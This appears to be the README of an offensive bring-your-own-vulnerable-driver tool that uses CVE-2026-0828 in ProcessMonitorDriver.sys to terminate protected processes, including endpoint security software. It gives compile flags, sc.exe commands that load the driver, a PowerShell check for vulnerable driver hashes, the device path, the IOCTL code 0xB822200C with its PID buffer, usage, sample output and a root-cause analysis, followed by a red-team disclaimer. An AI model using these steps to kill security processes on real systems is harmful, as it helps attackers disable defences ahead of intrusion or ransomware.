
Kernel-mode process killer exploiting CVE-2026-0828 (BYOVD) to terminate protected processes via a vulnerable signed driver, bypassing PPL and endpoint security.
A kernel-mode process termination tool leveraging a vulnerable driver (CVE-2026-0828) to kill protected processes from user mode.
Requires MinGW-w64 (GCC) on Windows. Compile with:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Flags breakdown:
| Flag | Purpose |
|---|---|
--% | PowerShell stop-parsing token (passes args literally to g++) |
-Oz | Optimize for minimum size |
-ffunction-sections / -fdata-sections | Place each function/data in separate section |
-static / -static-libgcc / -static-libstdc++ | Static linking (no runtime DLL dependencies) |
-Wl,--gc-sections | Linker garbage-collects unused sections |
-W | Enable warnings |
Output: standalone terminator.exe (~20-30 KB stripped).
This project demonstrates exploitation of a vulnerable kernel driver (STProcessMonitorDriver) that exposes an unvalidated IOCTL_KILL_PROCESS handler, allowing arbitrary process termination regardless of privileges or protection mechanisms (PPL, EPROCESS flags, etc.).
| Component | Purpose |
|---|---|
terminator.cpp | User-mode client that enumerates processes and sends kill IOCTLs |
terminator.hpp | Class interface for process enumeration and termination |
ProcessMonitorDriver.sys | Vulnerable kernel driver (external, not included) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
\\.\STProcessMonitorDriverIOCTL_KILL_PROCESS (0xB822200C) with 8-byte PID bufferLoad the vulnerable driver (requires Administrator):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
If a vulnerable version of ProcessMonitorDriver.sys is already installed and running as a service (e.g., from a legitimate application), Terminator can connect directly without loading a new driver.
Check if the service exists and is running:
sc.exe query STProcessMonitor
Verify the driver version is vulnerable (PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
If the service exists and is RUNNING with a vulnerable version, skip the driver load steps and run Terminator directly.
| Version | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
Other versions may be affected; verify the driver's IOCTL handler before use.
terminator.exe -proc <process_name1> [process_name2] ...
Example:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
Vulnerability: The driver STProcessMonitorDriver registers an IOCTL handler (0xB822200C) that:
PsLookupProcessByProcessId → ZwTerminateProcess directlySYSTEM token), bypassing all user-mode ACLsImpact: Any non-admin user with driver access can terminate:
SeDebugPrivilege requirementsRoot Cause: Missing ObReferenceObjectByHandle validation, no SeSinglePrivilegeCheck(SeDebugPrivilege), and no process object access checks.
This tool is for authorized security research and red team exercises only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for misuse. Ensure you have written authorization before deploying in any environment.
The vulnerable driver (
ProcessMonitorDriver.sys) is intentionally flawed for demonstration purposes and should never be deployed in production.